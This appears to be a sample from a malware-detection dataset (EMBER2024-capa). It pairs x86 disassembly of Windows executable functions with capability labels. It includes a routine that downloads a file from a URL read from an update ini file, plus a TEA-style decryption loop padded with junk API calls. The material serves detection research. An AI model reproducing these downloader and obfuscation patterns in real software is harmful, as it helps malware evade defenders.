joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402160
Capabilities:
Copy file
Create directory
Delete file
Download url
Read .ini file
Receive data

Disassembly:
sub esp, 0x120
push ebx
push esi
push edi
mov edi, ecx
mov eax, dword [edi + 0x54]
lea esi, [edi + 0x3c]
mov ebx, 0x10
cmp eax, ebx
jb 0x40217f
mov eax, dword [esi + 4]
jmp 0x402182
lea eax, [esi + 4]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push str.tmp.ini
lea eax, [esp + 0x10]
push esi
push eax
call fcn.00401af0
mov eax, dword [edi + 0x1c]
add esp, 0xc
cmp eax, ebx
jb 0x4021aa
mov eax, dword [edi + 8]
jmp 0x4021ad
lea eax, [edi + 8]
push eax
push 0x104
lea ecx, [esp + 0x30]
push ecx
push str.http:__wbini.wn51.com_update.ini
push str.UpdateURL
push str.GLOBAL
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp dword [esp + 0x24], ebx
mov eax, dword [esp + 0x10]
jae 0x4021db
lea eax, [esp + 0x10]
push 0
push 0
push eax
lea edx, [esp + 0x34]
push edx
push 0
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
je 0x40220f
cmp dword [esp + 0x24], ebx
jb 0x402236
mov eax, dword [esp + 0x10]
push eax
call fcn.00403a2d
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x120
ret
lea esi, [edi + 0x20]
push esi
lea ecx, [esp + 0x10]
push ecx
mov ecx, edi
call fcn.00401030
test eax, eax
jne 0x402242
cmp dword [esp + 0x24], ebx
jb 0x402236
mov edx, dword [esp + 0x10]
push edx
call fcn.00403a2d
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x120
ret
cmp dword [esi + 0x18], ebx
jb 0x40224c
mov esi, dword [esi + 4]
jmp 0x40224f
add esi, 4
cmp dword [esp + 0x24], ebx
mov eax, dword [esp + 0x10]
jae 0x40225d
lea eax, [esp + 0x10]
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
cmp dword [esp + 0x24], ebx
mov eax, dword [esp + 0x10]
jae 0x402275
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [esp + 0x24], ebx
jb 0x40228f
mov eax, dword [esp + 0x10]
push eax
call fcn.00403a2d
add esp, 4
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x120
ret
Function at 0x403500
Capabilities:
Check mutex on windows

Disassembly:
sub esp, 0x6c
push esi
push str._WNUpdateMutex
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x403557
mov eax, dword [esp + 0x7c]
push 0x40a2e4
push eax
call fcn.004041fe
add esp, 8
push eax
lea ecx, [esp + 8]
call fcn.00402a90
lea ecx, [esp + 4]
call fcn.00403470
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 4]
call fcn.00402d90
xor eax, eax
pop esi
add esp, 0x6c
ret 0x10

Function at 0x404173
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, dword [ebp + 0x10]
xor ebx, ebx
test edi, edi
jne 0x404190
call fcn.00405f73
mov dword [eax], 0x16
xor eax, eax
jmp 0x4041fa
push esi
push 0x8c
push 1
call fcn.00405fef
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x4041e5
push esi
call fcn.004053d2
mov eax, dword [ebp + 0x14]
or dword [esi + 4], 0xffffffff
mov dword [esi + 0x50], eax
mov eax, dword [ebp + 0x1c]
test eax, eax
pop ecx
mov dword [esi + 0x4c], edi
jne 0x4041c3
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0x18]
push esi
push 0x4040de
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x4041f9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
push esi
call fcn.00404a91
test ebx, ebx
pop ecx
je 0x4041f7
push ebx
call fcn.00405f7c
pop ecx
xor eax, eax
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4042fc
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x60
push 0x40a3c8
call fcn.00405a5c
mov edi, 0x94
mov eax, edi
call fcn.004069e0
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x40db6c], ecx
mov eax, dword [esi + 4]
mov dword [0x40db78], eax
mov edx, dword [esi + 8]
mov dword [0x40db7c], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x40db70], esi
cmp ecx, 2
je 0x40435c
or esi, 0x8000
mov dword [0x40db70], esi
shl eax, 8
add eax, edx
mov dword [0x40db74], eax
xor esi, esi
push esi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x404397
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x404397
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x4043af
cmp eax, 0x20b
je 0x40439c
mov dword [ebp - 0x1c], esi
jmp 0x4043c3
cmp dword [ecx + 0x84], 0xe
jbe 0x404397
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x4043bd
cmp dword [ecx + 0x74], 0xe
jbe 0x404397
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push 1
call fcn.0040698d
pop ecx
test eax, eax
jne 0x4043d7
push 0x1c
call fcn.004042d8
pop ecx
call fcn.004055cc
test eax, eax
jne 0x4043e8
push 0x10
call fcn.004042d8
pop ecx
call fcn.004068eb
mov dword [ebp - 4], esi
call fcn.004066ed
test eax, eax
jge 0x404401
push 0x1b
call fcn.004042b3
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x40e234], eax
call fcn.004065cb
mov dword [0x40d9f0], eax
call fcn.00406529
test eax, eax
jge 0x404427
push 8
call fcn.004042b3
pop ecx
call fcn.004062f6
test eax, eax
jge 0x404438
push 9
call fcn.004042b3
pop ecx
push 1
call fcn.00405ca2
pop ecx
mov dword [ebp - 0x28], eax
cmp eax, esi
je 0x40444e
push eax
call fcn.004042b3
pop ecx
mov dword [ebp - 0x44], esi
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00406299
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x40446f
movzx eax, word [ebp - 0x40]
jmp 0x404472
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push esi
push esi
call edi
push eax
call fcn.00403500
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x1c], esi
jne 0x404490
push edi
call fcn.00405dcf
call fcn.00405df1
jmp 0x4044c2
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.00405a97
ret
Function at 0x405d0c
Capabilities:
Terminate process

Disassembly:
push 8
push 0x40a4f8
call fcn.00405a5c
push 8
call fcn.00405a2b
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
xor esi, esi
inc esi
cmp dword [0x40dbac], esi
jne 0x405d40
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [0x40dba8], esi
mov al, byte [ebp + 0x10]
mov byte [0x40dba4], al
cmp dword [ebp + 0xc], edi
jne 0x405d8a
cmp dword [0x40e228], edi
je 0x405d7a
mov eax, dword [0x40e224]
sub eax, 4
mov dword [0x40e224], eax
cmp eax, dword [0x40e228]
jb 0x405d7a
mov eax, dword [eax]
cmp eax, edi
je 0x405d5b
call eax
jmp 0x405d5b
push 0x40d024
mov eax, 0x40d020
call fcn.00405c8a
pop ecx
push 0x40d030
mov eax, 0x40d028
call fcn.00405c8a
pop ecx
or dword [ebp - 4], 0xffffffff
call 0x405dbb
cmp dword [ebp + 0x10], edi
jne 0x405dc9
mov dword [0x40dbac], esi
push dword [ebp + 8]
call fcn.00405c48
xor edi, edi
xor esi, esi
inc esi
cmp dword [ebp + 0x10], edi
je 0x405dc8
push 8
call fcn.00405976
pop ecx
ret
call fcn.00405a97
ret

Function at 0x4060e9
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x40d124]
mov ecx, dword [ebp + 0x94]
push ebx
push esi
mov dword [ebp + 0x88], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x40d440]
je 0x40611e
inc eax
cmp eax, 0x13
jb 0x40610f
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x40d440]
jne 0x406244
mov eax, dword [0x40d9f8]
cmp eax, 1
je 0x40621c
cmp eax, edx
jne 0x40614e
cmp dword [0x40d114], 1
je 0x40621c
cmp ecx, 0xfc
je 0x406244
push 0x104
lea eax, [ebp - 0x80]
push eax
push edx
mov byte [ebp + 0x84], dl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x406184
lea eax, [ebp - 0x80]
push str._program_name_unknown_
push eax
call fcn.004057e0
pop ecx
pop ecx
lea edi, [ebp - 0x80]
mov eax, edi
push eax
call fcn.004045b0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x4061b8
mov eax, edi
push eax
call fcn.004045b0
mov edi, eax
lea eax, [ebp - 0x80]
sub eax, 0x3b
push 3
add edi, eax
push 0x40a910
push edi
call fcn.00408450
add esp, 0x10
push edi
call fcn.004045b0
push dword [esi + 0x40d444]
mov ebx, eax
call fcn.004045b0
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.004069e0
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.004057e0
push edi
push ebx
call fcn.004057f0
push 0x40a8f0
push ebx
call fcn.004057f0
push dword [esi + 0x40d444]
push ebx
call fcn.004057f0
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.0040834e
add esp, 0x2c
jmp 0x406244
push edx
lea eax, [ebp + 0x94]
push eax
lea esi, [esi + 0x40d444]
push dword [esi]
call fcn.004045b0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp + 0x88]
call fcn.004060db
pop edi
pop esi
pop ebx
add ebp, 0x8c
leave
ret
Function at 0x407f14
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x407f42
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x407f49
cmp ebx, dword [eax + 4]
jae 0x407f49
xor eax, eax
jmp 0x408139
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x407f5a
xor eax, eax
inc eax
jmp 0x408138
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x407f70
cmp ecx, edx
jae 0x4080b5
cmp dword [eax + 4], 0
je 0x407f79
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x407f61
cmp dword [ebp + 8], 0
je 0x407f9b
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x4080b5
cmp eax, esi
jae 0x4080b5
mov eax, dword [0x40dce0]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x407fc0
cmp dword [esi*4 + 0x40dce8], edi
je 0x4080b9
inc esi
cmp esi, eax
jl 0x407fae
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x408135
cmp dword [ebp - 8], 0x1000000
jne 0x408135
test byte [ebp - 0xc], 0xcc
je 0x40803e
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x408135
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x408135
cmp word [eax + 0x18], 0x10b
jne 0x408135
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x408135
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x40803e
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x40803e
test byte [ecx + 0x27], 0x80
jne 0x4080b5
push 1
push 0x40dd28
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
jne 0x407f52
mov ecx, dword [0x40dce0]
test ecx, ecx
mov edx, ecx
jle 0x408072
lea eax, [ecx*4 + 0x40dce4]
cmp dword [eax], edi
je 0x408072
dec edx
sub eax, 4
test edx, edx
jg 0x408066
test edx, edx
jne 0x4080a3
push 0xf
pop ebx
cmp ecx, ebx
jg 0x40807f
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x408097
lea eax, [edx*4 + 0x40dce8]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x408085
cmp ecx, 0x10
jge 0x4080a3
inc ecx
mov dword [0x40dce0], ecx
push 0
push 0x40dd28
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
jmp 0x407f52
xor eax, eax
jmp 0x408138
test esi, esi
jle 0x407f52
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 1
push 0x40dd28
call ebx
test eax, eax
jne 0x407f52
cmp dword [esi*4 + 0x40dce8], edi
je 0x40810f
mov eax, dword [0x40dce0]
lea esi, [eax - 1]
test esi, esi
jl 0x4080fd
cmp dword [esi*4 + 0x40dce8], edi
je 0x4080f9
dec esi
jns 0x4080ed
test esi, esi
jge 0x40810d
cmp eax, 0x10
jge 0x408108
inc eax
mov dword [0x40dce0], eax
lea esi, [eax - 1]
jmp 0x40810f
je 0x408127
xor ecx, ecx
test esi, esi
jl 0x408127
lea eax, [ecx*4 + 0x40dce8]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x408115
push 0
push 0x40dd28
call ebx
jmp 0x407f52
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40834e
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x40dd30], ebx
push esi
push edi
jne 0x4083ce
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x408409
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40ad4c
push edi
call esi
test eax, eax
mov dword [0x40dd30], eax
je 0x408409
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x40dd34], eax
call esi
cmp dword [0x40db6c], 2
mov dword [0x40dd38], eax
jne 0x4083ce
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x40dd40], eax
je 0x4083ce
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x40dd3c], eax
mov eax, dword [0x40dd3c]
test eax, eax
je 0x408413
call eax
test eax, eax
je 0x4083fa
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x40dd40]
test eax, eax
je 0x4083fa
test byte [ebp - 8], 1
jne 0x408413
cmp dword [0x40db78], 4
jb 0x40840d
or byte [ebp + 0x12], 0x20
jmp 0x408432
xor eax, eax
jmp 0x408442
or byte [ebp + 0x12], 4
jmp 0x408432
mov eax, dword [0x40dd34]
test eax, eax
je 0x408432
call eax
mov ebx, eax
test ebx, ebx
je 0x408432
mov eax, dword [0x40dd38]
test eax, eax
je 0x408432
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x40dd30]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40918e
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.004069e0
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x409229
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x40db6c]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x409229
cmp eax, 1
je 0x40924a
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x409229
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x4091f6
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x409225
xor eax, eax
inc eax
jmp 0x409269
cmp edi, eax
jae 0x40922d
xor eax, eax
jmp 0x409269
cmp eax, esi
jae 0x409234
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x40db6c]
jmp 0x40924d
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406400
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x42a57b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x18]
push edi
lea ecx, [esi + 4]
mov dword [esi], 0x4046d4
call fcn.00407061
push 4
mov dword [esp + 0x18], 0
call fcn.00407f06
mov edi, eax
add esp, 4
test edi, edi
je 0x406474
push ebx
call fcn.00406f39
mov dword [edi], eax
call fcn.00406cf8
push 0
lea ecx, [esp + 0x10]
mov ebx, eax
call fcn.00407022
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x406468
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0xc]
call fcn.0040704a
pop ebx
jmp 0x406476
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x408971
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42d520]
jne 0x40897b
repz ret
jmp fcn.0040d0cc
Function at 0x411d12
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42d520]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040b071
and dword [ebp - 0x14], 0
cmp dword [0x430374], 0
mov dword [ebp - 0x18], eax
jne 0x411dc5
push 0x403944
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x411e6d
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403938
push ebx
call edi
test eax, eax
je 0x411e6d
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403928
push ebx
mov dword [0x430374], eax
call edi
push eax
call esi
push 0x403914
push ebx
mov dword [0x430378], eax
call edi
push eax
call esi
push 0x4038f8
push ebx
mov dword [0x43037c], eax
call edi
push eax
call esi
mov dword [0x430384], eax
test eax, eax
je 0x411dc5
push 0x4038e0
push ebx
call edi
push eax
call esi
mov dword [0x430380], eax
mov eax, dword [0x430380]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x411e1e
cmp dword [0x430384], ecx
je 0x411e1e
push eax
call esi
push dword [0x430384]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x411e1e
test ebx, ebx
je 0x411e1e
call edi
test eax, eax
je 0x411e15
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x411e15
test byte [ebp - 8], 1
jne 0x411e1e
or dword [ebp + 0x10], 0x200000
jmp 0x411e51
mov eax, dword [0x430378]
cmp eax, dword [ebp - 0x18]
je 0x411e51
push eax
call esi
test eax, eax
je 0x411e51
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x411e51
mov eax, dword [0x43037c]
cmp eax, dword [ebp - 0x18]
je 0x411e51
push eax
call esi
test eax, eax
je 0x411e51
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x430374]
call esi
test eax, eax
je 0x411e6d
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x411e6f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408971
leave
ret
Function at 0x4290f0
Capabilities:
Delete directory
Get common file path
Manipulate console buffer

Disassembly:
sub esp, 0x80c
cmp dword [0x7b5100], 0x37
jne 0x429188
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FatalAppExitW]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemPowerStatus]
push 0
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 8]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea edx, [esp + 4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProfileSectionW]
push 0
lea eax, [esp + 0x410]
push eax
push 0
push 0x404218
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push 0
push 0
push 0
push 0x404230
push 0x404280
push 0x4042c0
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
mov ecx, dword [0x7b5104]
mov dword [esp], ecx
mov eax, 0x5d1
add dword [esp], eax
mov edx, dword [esp]
mov al, byte [edx + esi]
mov ecx, dword [0x435164]
mov byte [ecx + esi], al
add esp, 0x80c
ret
Function at 0x4293b0
Capabilities:
Enumerate files on windows
Manipulate console buffer
Move file
Read .ini file

Disassembly:
mov eax, dword [0x7b5100]
mov ecx, dword [0x435164]
sub esp, 0xc7c
push ebx
push ebp
shr eax, 3
xor ebx, ebx
push esi
push edi
cmp eax, ebx
jbe 0x4295c4
mov edi, ecx
mov dword [esp + 0x1c], edi
mov dword [esp + 0x24], eax
jmp 0x4293e6
mov edi, dword [esp + 0x1c]
xor ebx, ebx
cmp dword [0x7b5100], 0x1c
jne 0x4293fd
lea eax, [esp + 0x38]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov ecx, dword [edi + 4]
mov edx, dword [0x42e700]
mov eax, dword [0x42e704]
mov esi, dword [edi]
mov ebp, dword [0x42e708]
mov dword [esp + 0x14], ecx
mov ecx, dword [0x42e70c]
mov edi, 0xc6ef3720
mov dword [esp + 0x2c], edx
mov dword [esp + 0x34], eax
mov dword [esp + 0x30], ecx
mov dword [esp + 0x20], 0x20
jmp 0x42943a
xor ebx, ebx
mov eax, esi
mov edx, esi
shl eax, 4
shr edx, 5
add edx, dword [esp + 0x30]
add eax, ebp
lea ecx, [edi + esi]
xor eax, ecx
mov dword [esp + 0x18], edx
mov dword [esp + 0x10], eax
mov dword [0x7b4084], ebx
mov eax, dword [esp + 0x18]
add dword [0x7b4084], eax
mov edx, dword [0x7b4084]
mov dword [esp + 0x28], edx
mov dword [esp + 0x18], ebx
mov eax, dword [esp + 0x28]
add dword [esp + 0x18], eax
mov eax, dword [esp + 0x10]
xor eax, dword [esp + 0x18]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
sub dword [esp + 0x14], eax
mov ecx, dword [esp + 0x14]
shl ecx, 4
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x2c]
add dword [esp + 0x10], eax
cmp dword [0x7b5100], 0x1be
mov eax, dword [esp + 0x14]
lea ebx, [edi + eax]
jne 0x4294d4
lea edx, [esp + 0x3c]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov eax, dword [esp + 0x14]
shr eax, 5
add eax, dword [esp + 0x34]
cmp dword [0x7b5100], 0x979
mov dword [0x7b4088], 0xff6b3619
mov dword [0x7b408c], 0xffffffff
mov dword [esp + 0x18], eax
jne 0x42953f
push 0x404110
push 0
lea eax, [esp + 0x490]
push eax
push 0x404188
push 0x4041a8
push 0x404204
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0
lea ecx, [esp + 0x8c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
xor dword [esp + 0x10], ebx
mov eax, dword [esp + 0x18]
xor dword [esp + 0x10], eax
mov eax, dword [0x7b5100]
sub esi, dword [esp + 0x10]
cmp eax, 0x93
je 0x429561
add edi, 0x61c88647
dec dword [esp + 0x20]
jne 0x429438
cmp eax, 0x8d4
jne 0x42957d
lea edx, [esp + 0x40]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov edi, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
mov dword [edi], esi
mov dword [edi + 4], eax
cmp dword [0x7b5100], 0x17
jne 0x4295b3
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
lea ecx, [esp + 0x88]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
add edi, 8
dec dword [esp + 0x24]
mov dword [esp + 0x1c], edi
jne 0x4293e0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc7c
ret